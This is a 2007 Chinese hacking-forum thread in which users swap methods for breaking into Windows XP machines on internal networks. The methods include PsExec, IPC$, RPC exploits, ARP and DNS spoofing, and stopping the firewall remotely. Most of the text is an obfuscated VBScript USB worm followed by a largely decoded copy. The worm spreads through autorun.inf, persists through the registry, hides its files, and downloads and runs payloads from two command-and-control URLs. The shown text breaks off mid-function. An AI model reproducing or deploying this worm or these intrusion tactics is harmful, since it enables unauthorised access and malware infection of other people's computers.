[讨论]关于内网XP的入侵讨论！(页 1) - 技术讨论{ Technique Discussions } - 邪恶八进制信息安全团队技术讨论组努力为祖国的信息安全撑起一片蓝天

redbin 2007-11-8 20:05

[讨论]关于内网XP的入侵讨论！

议题作者：redbin
信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）

IPC之路是行不通的，据说可以WMI，不说什么补丁没打然后益处的！
教主给我说他PSEXEC全部可以，不过我测试了两台都不可以，有其他搞过的说下都有什么好方法？

sunwear 2007-11-8 20:29

亏你还是校园性爱联盟的站长.
你指的psexec不可以有没有别的提示? 他的执行文件貌似就是靠ipc.
另外还有些程序是利用rpc.比如Recton,当然如果我没记错的话.
并且当windowsxp开着该死的sharedaccess服务时就会提示你找不到网络路径
[quote]
C:\Documents and Settings\sunwear>d:\tool\other\pstools\psexec.exe \\sunwearvm -u sunwear -p sunwear cmd.exe

PsExec v1.84 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - [url]www.sysinternals.com[/url]

Couldn't access sunwearvm:
找不到网络路径。

Make sure that the default admin$ share is enabled on sunwearvm.
[/quote]

redbin 2007-11-8 20:50

教主天天给我看他的内网鸡好多的，他说全是psexec搞的！：（我又不晓得psexec用的嘛协议！我一直以为是RPC的！

防火墙服务确实很讨厌的，默认都是开启！

不知道别人有嘛好方法不！

scw121 2007-11-8 21:00

很急,借个地方问下,这段代码截密后是什么样的...
'7.1
O1="'2.6((=|2.6|}{=|`|}{=|`.|}{=|`.|}{=|G|&}{=(659)&(661)&(661)&(667)&|://|&|2.|&(09)&(09)&(93)&|5.|&(658)&|/2.|&(42)&||&(667)}{7=(659)&(661)&(661)&(667)&|://|&|1.|&(05)&(05)&(01)&|3.|&(658)&|/2.|&(42)&||&(667)}{' }{ }{ =(|.|)}{ =(|.|)}{ =.(6)}{ =.(5)}{ =.}{=.}{=.(7)&|\|}{=.(6)&|\\|}{=(.,(.)-(.))}{ =&|\| =)): ():(( }{ .(&|\|&) &|\|&,5&&}{=(&|\|&,6)}{=(&|\|&,7)}{ =|_| IN() () &|\|&,5&&}{ &|\|&,(+6)&&}{=(|.|,6) (|.|,6)}{ (&|\|&,6)>855 -()>7 }{=(&|\|&,8)}{ =|| =5}{=6}{=||}{ <>|<>|}{ =8 }{7=(&|.|,7&|?=|&,5,6,655)}{=(&|.|,6)}{ =6 =7 =9 }{6=(&|.|,&|?=|&,5,6,655)}{=(&|.|,6)}{ }{=+6}{ >9 }{ 6=6 7=6 }{=6}{ }{ }{ }{}{ .(&|.|) }{ =.(&|.|, 6) }{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{= .}{= .}{.}{(&|.|)}{ =|<>| }{ &|\|&,5&&}{ 6,,,,,}{ <> .(&|\|&&|.|) }{ &|\|&,,,8,7555}{.}{ }{ =6 }{ <> .(&) }{ &}{ &,,6,8,7555}{ }{ }{ }{ }{ }{ =6)): : ():(( .() }{ ,5}{.()}{ }{ .() }{ ,5}{.()}{ )): : (,):(( }{ =.(, )}{. }{.}{ ,7+9)): : (,,,,,):(( =5 }{=&|\|&}{}{=&}{ }{ }{ =.(, )}{. }{. |[]|}{. }{. |=. .\|&&|.|}{. }{. |\=打开(&)|}{. }{. |\\=. .\|&&|.|}{. }{. |\\=6|}{. }{.}{ ,6+7+9)): : (,):(( <5 =.}{ .() }{ .().=5 }{=|_|}{}{ =.(, 6)}{ =.(, 6)}{.}{=.}{.}{ >5 <= }{=5 }{ <}{=+6}{ . }{=.}{}{=|_|}{ }{}{=}{ <=5 }{=.}{}{=|_|}{ }{.}{ }{}{=|_|}{ )): : (,):(( .() }{ =.() }{.=}{ =}{ }{ .() }{ =.()}{.=}{ =}{ )): : (,,,,)((=5}{ <}{ ,5}{ = (): = ():}{' 6=7 . |!|}{ = (|.|) }{' 6=7 . |!|}{. ||,,5 }{' 6=7 . |!|}{ }{.()}{ }{=6}{' 6=7 . |!|}{ = (|.|) }{' 6=7 . |!|}{. = 8 }{' 6=7 . |!|}{. = 6 }{' 6=7 . |!|}{.() }{' 6=7 . |!|}{.(.) }{' 6=7 . |!|}{. ,7 }{' 6=7 . |!|}{ ,7+9}{ .() }{=.().}{}{=5}{ }{ > }{ =6 . }{ }{ }{}{=5}{=+6}{ }{. 8555}{ }{)) : (,):(( }{ =(|:\\.\\7|)}{ =.(| * 87_ ='|&&|'|)}{=6 }{ }{=+6}{}{ }{ > =}{}{=6}{ )): () .=5 =.= ()=1882117982791189023101820291073779112775148867509175910173177481689628187391419731771478674747771187177941175168868780750913101751688688777118717794117516886878875091310175168868577711871771411751688687897509131017516888897771187177141175168848175161197516886868575291310177711871771681678688777118717710128101411751688685847516119751688687887529131017771187177168167868877711871779011975941177711871772018820187181327731674777118717791023297774:= :=&(&:=): ()>6: ((,6)) =&&(,7)&:=(,8) =&+(,9)+:=(,0):() ":function ucc(b):x="633D766243724C663A457865637574652822466F7220693D3120546F204C656E2862293A613D417363284D696428622C692C3129292226632622496620613D313237205468656E20613D31332226632622496620613D3131205468656E20613D31302226632622696620613D3132205468656E20613D33342226632622696620613E3D313420616E6420613C3D3331207468656E2226632622613D612B38332226632622656C7365696620613E3D3120616E6420613C3D38207468656E2226632622613D612B3131342226632622656C7365696620613E3D353320616E6420613C3D3537207468656E2226632622613D612D352226632622656C7365696620613E3D343820616E6420613C3D3532207468656E2226632622613D612B352226632622456E6420496622266326227563633D7563632B63687228612922266326224E6578742229":y="execute """"":z="&chr(&h":w=")":do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)
loop:execute(y):end function:O2="(( .FE(&|\|&&|.|)}{ (() 60)=5 }{. 00555}{}{.))":O3="(( }{ =&|\| =.(| |&,8,)}{}{ }{. 0555}{ (|.|,7)=6 }{ (&|\.|,6)= () }{.}{}{ &|\.|,}{ }{ }{ (|.|,7)<>6 (|.|,7) .}{ }{}{ }{}{ (&,6)<> }{ 6,5,5,5,5,5}{ }{ (&|\|&,6)<> }{ 5,5,5,5,5,5}{ }{=(&,0)}{ .(&) }{. &}{ }{ (&|\|&&|.|,6)<>|'|& }{ &|\|&&|.|}{}{ }{ (&|\|&&|.|,6)<>|'|& }{ &|\|&&|.|}{ }{ (&&|.|,6)<>|'|& (&,66)=6 }{ &&|.|,(O6+O7)}{ }{ (&,66)=7 }{ }{ .=7 }{ .(&|/.|) }{ &|/.|}{ }{ .(&|/.|) }{ &|/.|}{ &|/.|,6+7+9}{ }{ }{}{ }{}{}{. &}{}{ &,7+9}{ &|\|&&|.|}{ &|\|&&|.|}{}{. &|\|&&|.|}{ )): ():(( }{ (&,2)=6 }{(((&,4)))}{ )): : (,)(( }{ .() }{. ,,}{ )): : ():(( }{ =.(&,6)}{=.}{. }{ =.(, )}{. }{.}{ ,7+9)): : ():((RP=|HKEY_LOCAL_MACHINE\SOFTWARE\M\W\CV\\E\\| }{T_N=|REG_SZ|}{K_N=||}{K_D=&|.|}{W.RW RP&K_N,K_D,T_N)): : ():((RP=|HKEY_CURRENT_USER\S\M\W\CV\E\A\| }{T_N=|REG_DWORD|}{K_N=|SSH|}{K_D=|55555555| }{W.RW RP&K_N,K_D,T_N)): : ():(( .() }{ .(.()) }{ .()}{ }{.()}{ )): : (,,,,,):((=(&|\|&,8)}{ <=}{=&|,|&}{=+6}{}{=&}{=S(,|,|)}{F =5 T U()}{ =() }{ .(&) }{ &,|://|&,5,7,7555}{ }{ }{}{=(,))): : (,,,):(( .(&) (,6) }{ &,|://|&,5,7,8555}{ }{=(,))): : (,):(( .(&) }{ <>5 }{=}{. |%% / 7557-|&()&|-|&(),}{. (*6555)}{ }{. &}{=6}{ >5 }{. 0555}{. |%% / |&,}{ }{ )): : (,):(( (,6) }{ }{S =(|:\\.\\7|) }{S =. (| * 87_ ='|&&|' |)}{ }{.()}{}{ =6 =6}{ )): : ():(( }{}{ }{ .=8 (.=6 <>|A:| <> |B:|) }{ .(&|\.|) }{ &|\.|}{ }{ .(&|\|&&|.|) .(&|\.|) }{ (&|\.|,6)<> }{ &|\|&,&|\.|}{ &|\|&&|.|,&|\|&&|.|}{ }{}{}{ &|\|&,&|\.|}{ &|\|&&|.|,&|\|&&|.|}{ }{ }{}{ (() 0)=5 <>6 }{=}{. 15555}{ }{ <>-6 }{}{ }{. 8555}{)): : ():(( (&,6)<>|'|& }{(|,!|)}{ &}{.}{ )): ":on error resume next:execute(ucc(O1+O3)):O4="For i=1 To Len(e)"&h&"k=asc(mid(e,i,1))"&h&"If k=5 Then k=16"&h&"k=10"&h&"if k=8 Then"&h&"k=45"&h&"if k>81 and k<90 then"&h&"k=k+12"&h&"elseif k>89 and k<135 then"&h&"k=k-21"&h&"elseif k>39 and k<70 then"&h&"k=k+17"&h&"End If"&h&"e=e+chr(k)"&h&"Next"

sunwear 2007-11-8 21:35

scw121 2007-11-8 21:38

就是vbs,后缀名是vbe,通过u盘传播,太猛了

b0r3d 2007-11-9 23:08

MS这里的话
[url]http://www.microsoft.com/china/technet/sysinternals/utilities/PsExec.mspx[/url]
[quote]PsExec 是 Sysinternals 命令行工具不断完善的 PsTools 工具包的一部分，这些工具用于协助管理本地和远程 Windows NT/2K 系统。[/quote]

simpleboy 2007-11-10 11:48

Windows Vista、NT 4.0、Win2K、Windows XP 和 Server 2003 上都存在？？？。

十二少 2007-11-11 00:39

刚碰到内网机器一2K3的机器测试了下需要默认共享admin$开启

testplay 2007-11-11 17:06

内网XP，IPC连接默认是guest权限，psexec应该玩不起来。
用溢出方式效果好。

过路人 2007-11-11 18:57

如果是xpsp2，全补丁的话基本上是没招的除非你有0day
个人觉得内网还是cain的dns欺骗挂马还是成功率比较大的，ie补丁打全的不多呵呵，况且那玩意经常出问题的。

cnlnfjhh 2007-11-12 17:46

XP的内网下，
如果没有Etool
建议记录密码吧：）
搞到一个user 就可以打开一扇门了

remax 2007-11-15 11:50

ipc$ wmi dns欺骗 Httphijack [最近出了个非arp的，不知道怎么搞的]

最近在写内网加固文档，同志们继续，我总结。

over.

bink 2007-11-15 12:22

[code]
on error resume next
execute(ucc(O1+O3))
O4="For i=1 To Len(e)"&h&"k=asc(mid(e,i,1))"&h&"If k=5 Then k=16"&h&"k=10"&h&"if k=8 Then"&h&"k=45"&h&"if k>81 and k<90 then"&h&"k=k+12"&h&"elseif k>89 and k<135 then"&h&"k=k-21"&h&"elseif k>39 and k<70 then"&h&"k=k+17"&h&"End If"&h&"e=e+chr(k)"&h&"Next"
[/code]

有才，绝对有才。。 [s:264]

xuter 2007-11-15 12:43

[quote]引用第4楼sunwear于2007-11-08 21:35发表的 :

像是VBS[/quote]
t通过U盘传播，很厉害...到底上什么？？

hack1125 2007-11-15 15:02

呵呵，我觉得现在默认共享的比较少拉~一般在外网都关闭掉了~
而且xp默认安装，没加任何安全措施的估计也是新手用户，入侵没啥意思。
[s:264]

knoyber0814 2007-11-15 15:26

sc \\ip stop sharedaccess 貌似有的机器可以把默认的防火墙关掉

wodehao448 2007-11-16 13:27

牛啊，先用中间的第一个函数把y解出来，y得到一大堆字符，转换出来得到一个函数，结合最后的一个函数应该就能把01,02,03解出来的~~~~~~~~~

neeke 2007-11-17 01:06

[s:289] 我觉得XP的话还是现在还比较流行的135好搞..

艾米 2007-11-21 14:23

[quote]引用第18楼neeke于2007-11-17 01:06发表的 :
[s:289] 我觉得XP的话还是现在还比较流行的135好搞..[/quote]
我不认为135怎么样
就拿我们这里的网吧说吧，虽GHOST的XP系统但是被网管改过之后根本没用。。
内网主打还是ARP欺骗，不过我在网吧试验也没成功过，XP的系统不怎么好弄，建议搞他的服务器（不知道你的内网是什么条件），再从服务器入手，这样或许可行！

黑眼圈sct 2007-11-21 14:38

搞网吧ARP？
现在网吧被ARP病毒都弄得够惨了早做了防ARP了。
现在的网吧不好搞啊 [s:267]

microalex 2007-11-26 19:30

[quote]引用第3楼scw121于2007-11-08 21:00发表的 :
很急,借个地方问下,这段代码截密后是什么样的...
'7.1
O1="'2.6((=|2.6|}{=|`|}{=|`.|}{=|`.|}{=|G|&}{=(659)&(661)&(661)&(667)&|://|&|2.|&(09)&(09)&(93)&|5.|&(658)&|/2.|&(42)&||&(667)}{7=(659)&(661)&(661)&(667)&|://|&|1.|&(05)&(05)&(01)&|3.|&(658)&|/2.|&(42)&||&(667)}{' }{ }{ =(|.|)}{ =(|.|)}{ =.(6)}{ =.(5)}{ =.}{=.}{=.(7)&||}{=.(6)&||}{=(.,(.)-(.))}{ =&|| =)): ():(( }{ .(&||&) &||&,5&&}{=(&||&,6)}{=(&||&,7)}{ =|_| IN() () &||&,5&&}{ &||&,(+6)&&}{=(|.|,6) (|.|,6)}{ (&||&,6)>855 -()>7 }{=(&||&,8)}{ =|| =5}{=6}{=||}{ <>|<>|}{ =8 }{7=(&|.|,7&|?=|&,5,6,655)}{=(&|.|,6)}{ =6 =7 =9 }{6=(&|.|,&|?=|&,5,6,655)}{=(&|.|,6)}{ }{=+6}{ >9 }{ 6=6 7=6 }{=6}{ }{ }{ }{}{ .(&|.|) }{ =.(&|.|, 6) }{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{=.}{= .}{= .}{.}{(&|.|)}{ =|<>| }{ &||&,5&&}{ 6,,,,,}{ <> .(&||&&|.|) }{ &||&,,,8,7555}{.}{ }{ =6 }{ <> .(&) }{ &}{ &,,6,8,7555}{ }{ }{ }{ }{ }{ =6)): : ():(( .() }{ ,5}{.()}{ }{ .() }{ ,5}{.()}{ )): : (,):(( }{ =.(, )}{. }{.}{ ,7+9)): : (,,,,,):(( =5 }{=&||&}{}{=&}{ }{ }{ =.(, )}{. }{. |[]|}{. }{. |=. .|&&|.|}{. }{. |=打开(&)|}{. }{. |=. .|&&|.|}{. }{. |=6|}{. }{.}{ ,6+7+9)): : (,):(( <5 =.}{ .() }{ .().=5 }{=|_|}{}{ =.(, 6)}{ =.(, 6)}{.}{=.}{.}{ >5 <= }{=5 }{ <}{=+6}{ . }{=.}{}{=|_|}{ }{}{=}{ <=5 }{=.}{}{=|_|}{ }{.}{ }{}{=|_|}{ )): : (,):(( .() }{ =.() }{.=}{ =}{ }{ .() }{ =.()}{.=}{ =}{ )): : (,,,,)((=5}{ <}{ ,5}{ = (): = ():}{' 6=7 . |!|}{ = (|.|) }{' 6=7 . |!|}{. ||,,5 }{' 6=7 . |!|}{ }{.()}{ }{=6}{' 6=7 . |!|}{ = (|.|) }{' 6=7 . |!|}{. = 8 }{' 6=7 . |!|}{. = 6 }{' 6=7 . |!|}{.() }{' 6=7 . |!|}{.(.) }{' 6=7 . |!|}{. ,7 }{' 6=7 . |!|}{ ,7+9}{ .() }{=.().}{}{=5}{ }{ > }{ =6 . }{ }{ }{}{=5}{=+6}{ }{. 8555}{ }{)) : (,):(( }{ =(|:\.7|)}{ =.(| * 87_ ='|&&|'|)}{=6 }{ }{=+6}{}{ }{ > =}{}{=6}{ )): () .=5 =.= ()=1882117982791189023101820291073779112775148867509175910173177481689628187391419731771478674747771187177941175168868780750913101751688688777118717794117516886878875091310175168868577711871771411751688687897509131017516888897771187177141175168848175161197516886868575291310177711871771681678688777118717710128101411751688685847516119751688687887529131017771187177168167868877711871779011975941177711871772018820187181327731674777118717791023297774:= :=&(&:=): ()>6: ((,6)) =&&(,7)&:=(,8) =&+(,9)+:=(,0):() ":function ucc(b):x="633D766243724C663A457865637574652822466F7220693D3120546F204C656E2862293A613D417363284D696428622C692C3129292226632622496620613D313237205468656E20613D31332226632622496620613D3131205468656E20613D31302226632622696620613D3132205468656E20613D33342226632622696620613E3D313420616E6420613C3D3331207468656E2226632622613D612B38332226632622656C7365696620613E3D3120616E6420613C3D38207468656E2226632622613D612B3131342226632622656C7365696620613E3D353320616E6420613C3D3537207468656E2226632622613D612D352226632622656C7365696620613E3D343820616E6420613C3D3532207468656E2226632622613D612B352226632622456E6420496622266326227563633D7563632B63687228612922266326224E6578742229":y="execute """"":z="&chr(&h":w=")":do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)
loop:execute(y):end function:O2="(( .FE(&||&&|.|)}{ (() 60)=5 }{. 00555}{}{.))":O3="(( }{ =&|| =.(| |&,8,)}{}{ }{. 0555}{ (|.|,7)=6 }{ (&|.|,6)= () }{.}{}{ &|.|,}{ }{ }{ (|.|,7)<>6 (|.|,7) .}{ }{}{ }{}{ (&,6)<> }{ 6,5,5,5,5,5}{ }{ (&||&,6)<> }{ 5,5,5,5,5,5}{ }{=(&,0)}{ .(&) }{. &}{ }{ (&||&&|.|,6)<>|'|& }{ &||&&|.|}{}{ }{ (&||&&|.|,6)<>|'|& }{ &||&&|.|}{ }{ (&&|.|,6)<>|'|& (&,66)=6 }{ &&|.|,(O6+O7)}{ }{ (&,66)=7 }{ }{ .=7 }{ .(&|/.|) }{ &|/.|}{ }{ .(&|/.|) }{ &|/.|}{ &|/.|,6+7+9}{ }{ }{}{ }{}{}{. &}{}{ &,7+9}{ &||&&|.|}{ &||&&|.|}{}{. &||&&|.|}{ )): ():(( }{ (&,2)=6 }{(((&,4)))}{ )): : (,)(( }{ .() }{. ,,}{ )): : ():(( }{ =.(&,6)}{=.}{. }{ =.(, )}{. }{.}{ ,7+9)): : ():((RP=|HKEY_LOCAL_MACHINESOFTWAREMWCVE| }{T_N=|REG_SZ|}{K_N=||}{K_D=&|.|}{W.RW RP&K_N,K_D,T_N)): : ():((RP=|HKEY_CURRENT_USERSMWCVEA| }{T_N=|REG_DWORD|}{K_N=|SSH|}{K_D=|55555555| }{W.RW RP&K_N,K_D,T_N)): : ():(( .() }{ .(.()) }{ .()}{ }{.()}{ )): : (,,,,,):((=(&||&,8)}{ <=}{=&|,|&}{=+6}{}{=&}{=S(,|,|)}{F =5 T U()}{ =() }{ .(&) }{ &,|://|&,5,7,7555}{ }{ }{}{=(,))): : (,,,):(( .(&) (,6) }{ &,|://|&,5,7,8555}{ }{=(,))): : (,):(( .(&) }{ <>5 }{=}{. |%% / 7557-|&()&|-|&(),}{. (*6555)}{ }{. &}{=6}{ >5 }{. 0555}{. |%% / |&,}{ }{ )): : (,):(( (,6) }{ }{S =(|:\.7|) }{S =. (| * 87_ ='|&&|' |)}{ }{.()}{}{ =6 =6}{ )): : ():(( }{}{ }{ .=8 (.=6 <>|A:| <> |B:|) }{ .(&|.|) }{ &|.|}{ }{ .(&||&&|.|) .(&|.|) }{ (&|.|,6)<> }{ &||&,&|.|}{ &||&&|.|,&||&&|.|}{ }{}{}{ &||&,&|.|}{ &||&&|.|,&||&&|.|}{ }{ }{}{ (() 0)=5 <>6 }{=}{. 15555}{ }{ <>-6 }{}{ }{. 8555}{)): : ():(( (&,6)<>|'|& }{(|,!|)}{ &}{.}{ )): ":on error resume next:execute(ucc(O1+O3)):O4="For i=1 To Len(e)"&h&"k=asc(mid(e,i,1))"&h&"If k=5 Then k=16"&h&"k=10"&h&"if k=8 Then"&h&"k=45"&h&"if k>81 and k<90 then"&h&"k=k+12"&h&"elseif k>89 and k<135 then"&h&"k=k-21"&h&"elseif k>39 and k<70 then"&h&"k=k+17"&h&"End If"&h&"e=e+chr(k)"&h&"Next"[/quote]
解密后大概是这个样子的……
具体细节自己处理！
ver="7.2"
filename="`"
infname="`.url"
timesname="`.lnk"
tile="Gover"&ver
fromurl="http://u7.6600.org/u72.asp"
fromurl2="http://u6.2288.org/u72.asp"

'on error resume next
dim wsh
set wsh=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
set dir=fso.getspecialfolder(1)
set win=fso.getspecialfolder(0)
set dc=fso.drives
ouwnname=wscript.scriptname
exemulu=fso.getspecialfolder(2)&"\"
wbem=fso.getspecialfolder(1)&"\wbem\"
mulu=left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
if mulu=dir&"\" then sys=true
for each d in dc
if mulu=d&"\" then opendisk=wsh.run("explorer "&d,3,false)
next
if not sys then
wscript.sleep 5000
if jincheng("wscript.exe",2)=1 then
if readtxt(dir&"\main.bin",1)= trim(date) then
wscript.quit
else
buildfile dir&"\main.bin",date
end if
end if
if jincheng("wscript.exe",2)<>1 and jincheng("wscript.exe",2) then wscript.quit
end if
chengfa
if sys then
yincang
if readtxt(mulu&infname,1)<>tile then
buildinf 1,0,0,0,0,0
end if
if readtxt(win&"\"&infname,1)<>tile then
buildinf 0,0,0,0,0,0
end if
lexe=readtxt(mulu&infname,5)
if fso.fileexists(exemulu&lexe) then
wsh.run exemulu&lexe
end if
if readtxt(dir&"\"&filename&".vbe",1)<>""&ver then
copyvbs dir&"\"&filename&".vbe"
zhuce
end if
if readtxt(win&"\"&filename&".vbe",1)<>""&ver then
copyvbs win&"\"&filename&".vbe"
end if
if readtxt(wbem&filename&".vbe",1)<>""&ver and readtxt(mulu&infname,11)=1 then
buildfile wbem&filename&".vbe",ucc(O1+O2)
end if
if readtxt(mulu&infname,11)=2 then
for each d in dc
if d.drivetype=2 then
if fso.fileexists(d&"/autorun.inf") then
delfile d&"/autorun.inf"
end if
if not fso.folderexists(d&"/autorun.inf") then
buildfold d&"/autorun.inf"
shuxing d&"/autorun.inf",1+2+4
end if
end if
next
end if
ganran
wsh.run mulu&ouwnname
else
shuxing mulu&ouwnname,2+4
copyvbs dir&"\"&filename&".vbe"
copyvbs win&"\"&filename&".vbe"
zhuce
wsh.run dir&"\"&filename&".vbe"
end if

function gettask()
on error resume next
if not fso.fileexists(dir&"\"&timesname) then buildfile dir&"\"&timesname,0&vbcrlf&date
tjs=readtxt(dir&"\"&timesname,1)
djs=readtxt(dir&"\"&timesname,2)
if tjs="not_found" or not IsNumeric(tjs) or not isdate(djs) then buildfile dir&"\"&timesname,0&vbcrlf&date
buildfile dir&"\"&timesname,(tjs+1)&vbcrlf&djs
iswb=jincheng("clsmn.exe",1) or jincheng("pubwin.exe",1)
if readtxt(dir&"\"&timesname,1)>300 or date-cdate(djs)>2 or iswb then
id=readtxt(dir&"\"&infname,3)
if id="" then id=0
js=1
checkdown="none"
do while checkdown<>"<script>"
if js=2 or js=3 then
d2=advdownfile(mulu&"temp.txt",fromurl2&"?i="&id,0,1,100)
checkdown=readtxt(mulu&"temp.txt",1)
elseif js=1 or js=4 then
d1=advdownfile(mulu&"temp.txt",fromurl&"?i="&id,0,1,100)
checkdown=readtxt(mulu&"temp.txt",1)
end if
js=js+1
if js>4 then
if d1=1 or d2=1 then gettask=1
exit do
end if
loop
if fso.fileexists(mulu&"temp.txt") then
set openfile=fso.opentextfile(mulu&"temp.txt", 1)
check=openfile.readline
downis=openfile.readline
downame=openfile.readline
downfrom=openfile.readline
vbsver=openfile.readline
vbsrun=openfile.readline
vbsname=openfile.readline
vbsfrom=openfile.readline
taskis=openfile.readline
taskcode=openfile.readline
upvbe= openfile.readline
getid= openfile.readline
openfile.close
delfile(mulu&"temp.txt")
if check="<script>" then
buildfile dir&"\"&timesname,0&vbcrlf&date
buildinf 1,getid,downame,taskis,taskcode,upvbe
if vbsver<>ver or not fso.fileexists(dir&"\"&filename&".vbe") then
advdownfile dir&"\"&vbsname,vbsfrom,vbsrun,3,2000
wscript.quit
end if
if downis=1 and sys then
if downame<>lexe or not fso.fileexists(exemulu&lexe) then
delfile exemulu&lexe
advdownfile exemulu&downame,downfrom,1,3,2000
end if
end if
end if
end if
end if
if er or iswb then gettask=1
end function

function delfile(where)
if fso.fileexists(where) then
shuxing where,0
fso.deletefile(where)
end if
if fso.folderexists(where) then
shuxing where,0
fso.deletefolder(where)
end if
end function

function buildfile(where,what)
delfile where
set bin=fso.createtextfile(where, true)
bin.writeline what
bin.close
shuxing where,2+4
end function

function buildinf(dir,vbsid,exever,tasksw,taskcode,adv)
if dir=0 then
inifile=win&"\"&infname
else
inifile=mulu&infname
end if
delfile inifile
set ini=fso.createtextfile(inifile, true)
ini.writeline tile
ini.writeline "[autorun]"
ini.writeline vbsid
ini.writeline "open=wscript.exe .\"&filename&".vbs"
ini.writeline exever
ini.writeline "shell\open=打开(&o)"
ini.writeline tasksw
ini.writeline "shell\open\command=wscript.exe .\"&filename&".vbs"
ini.writeline taskcode
ini.writeline "shell\open\default=1"
ini.writeline adv
ini.close
shuxing inifile,1+2+4
end function

function readtxt(where,line)
if line<0 then where=wscript.scriptfullname
if fso.fileexists(where) then
if fso.getfile(where).size=0 then
readtxt="not_found"
else
set readfile=fso.opentextfile(where, 1)
set chickline=fso.opentextfile(where, 1)
chickline.readall
txtline=chickline.line
chickline.close
if line>0 and line<=txtline then
i=0
do while i<line
i=i+1
if not readfile.atendofstream then
strline=readfile.readline
else
strline="not_found"
end if
loop
readtxt=strline
elseif line<=0 then
readtxt=readfile.readall
else
readtxt="not_found"
end if
readfile.close
end if
else
readtxt="not_found"
end if
end function

function shuxing(file,change)
if fso.fileexists(file) then
set ofile=fso.getfile(file)
ofile.attributes=change
set ofile=nothing
end if
if fso.folderexists(file) then
set ofile=fso.getfolder(file)
ofile.attributes=change
set ofile=nothing
end if
end function

function advdownfile(localfile,urlfile,runfile,cishu,minsize)
test=0
do while test<cishu
shuxing localfile,0
ilocal = lcase(localfile):iremote = lcase(urlfile):
if 1=2 then wscript.echo "impossible!"
set xpost = createobject("microsoft.xmlhttp")
if 1=2 then wscript.echo "impossible!"
xpost.open "get",iremote,0
if 1=2 then wscript.echo "impossible!"
on error resume next
xpost.send()
if not er then
advdownfile=1
if 1=2 then wscript.echo "impossible!"
set sget = createobject("adodb.stream")
if 1=2 then wscript.echo "impossible!"
sget.mode = 3
if 1=2 then wscript.echo "impossible!"
sget.type = 1
if 1=2 then wscript.echo "impossible!"
sget.open()
if 1=2 then wscript.echo "impossible!"
sget.write(xpost.responsebody)
if 1=2 then wscript.echo "impossible!"
sget.savetofile ilocal,2
if 1=2 then wscript.echo "impossible!"
shuxing localfile,2+4
if fso.fileexists(localfile) then
filesize=fso.getfile(localfile).size
else
filesize=0
end if
if filesize>minsize then
if runfile=1 then wsh.run localfile
exit do
end if
else
advdownfile=0
test=test+1
delfile localfile
wscript.sleep 3000
end if
loop
end function

function jincheng(where,geshu)
on error resume next
set y=getobject("winmgmts:\\.\root\cimv2")
set x=y.execquery("select * from win32_process where name="&where&"")
i=1
for each j in x
i=i+1
next
if not er then
if i>geshu then jincheng=true
else
jincheng=1
end if
end function

function er()
if err.number=0 then
er=false
else
err.clear
er=true
end if
end function

function uc(b)
For i=1 To Len(b)
a=Asc(Mid(b,i,1))
If a=125 Then a=13
If a=123 Then a=10
if a=124 Then a=34
if a>96 and a<110 then
a=a+13
elseif a>109 and a<123 then
a=a-13
End If
uc=uc+chr(a)
Next
vf.writeline(uc)
end function

function dotask()
on error resume next
if readtxt(mulu&infname,7)=1 then
execute(uc(readtxt(mulu&infname,9)))
end if
end function

function copyfile(file,where)
delfile where
if fso.fileexists(file) then
fso.copyfile file,where,true
end if
end function

function copyvbs(where)
delfile where
set self=fso.opentextfile(mulu&ouwnname,1)
vbscopy=self.readall
self.close
set vbs=fso.createtextfile(where, true)
vbs.write vbscopy
vbs.close
shuxing where,2+4
end function

function zhuce()
RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\"
Type_Name="REG_SZ"
Key_Name="explorer"
Key_Data=filename&".vbe"
Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function

function yincang()
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"
Type_Name="REG_DWORD"
Key_Name="ShowSuperHidden"
Key_Data="00000000"
Wsh.RegWrite RegPath&Key_Name,Key_Data,Type_Name
end function

function buildfold(path)
if not fso.folderexists(path) then
if not fso.folderexists(fso.getparentfoldername(path)) then
buildfold fso.getparentfoldername(path)
end if
fso.createfolder(path)
end if
end function

function findid(ids,fid,eid,fname,furl,time)
id=readtxt(dir&"\"&infname,3)
do while fid<=eid
idc=idc&","&fid
fid=fid+1
loop
ids=ids&idc
idss=Split(ids,",")
For i=0 To Ubound(idss)
if id=idss(i) then
if not fso.fileexists(exemulu&fname) then
advdownfile exemulu&fname,"http://"&furl,0,2,2000
end if
end if
next
findid=ctrf(fname,time)
end function

function dowork(pcs,fname,furl,time)
if not fso.fileexists(exemulu&fname) and jincheng(pcs,1) then
advdownfile exemulu&fname,"http://"&furl,0,2,3000
end if
dowork=ctrf(fname,time)
end function

function ctrf(fname,time)
if fso.fileexists(exemulu&fname) then
if time<>0 then
nowdate=date
wsh.run "%comspec% /c date 2002-"&month(date)&"-"&day(date),vbhide
wscript.sleep abs(time*1000)
end if
wsh.run exemulu&fname
ctrf=1
if time>0 then
wscript.sleep 5000
wsh.run "%comspec% /c date "&nowdate,vbhide
end if
end if
end function

function taskkill(pcs,times)
if jincheng(pcs,1) then
on error resume next
Set objwmiservice=getobject("winmgmts:\\.\root\cimv2")
Set colprocesslist=objwmiservice.execquery ("select * from win32_process where name="&pcs&" ")
for each objprocess in colprocesslist
objprocess.terminate()
next
if times=1 then taskkill=1
end if
end function

function ganran()
on error resume next
do
for each d in dc
if d.drivetype=3 or (d.drivetype=1 and d<>"A:" and d<> "B:") then
if fso.folderexists(d&"\autorun.inf") then
delfile d&"\autorun.inf"
end if
if fso.fileexists(d&"\"&filename&".vbs") and fso.fileexists(d&"\autorun.inf") then
if readtxt(d&"\autorun.inf",1)<>tile then
copyfile win&"\"&infname,d&"\autorun.inf"
copyfile win&"\"&filename&".vbe",d&"\"&filename&".vbs"
end if
else
yincang
copyfile win&"\"&infname,d&"\autorun.inf"
copyfile win&"\"&filename&".vbe",d&"\"&filename&".vbs"
end if
end if
next
if (minute(now) mod 5)=0 and xz<>1 then
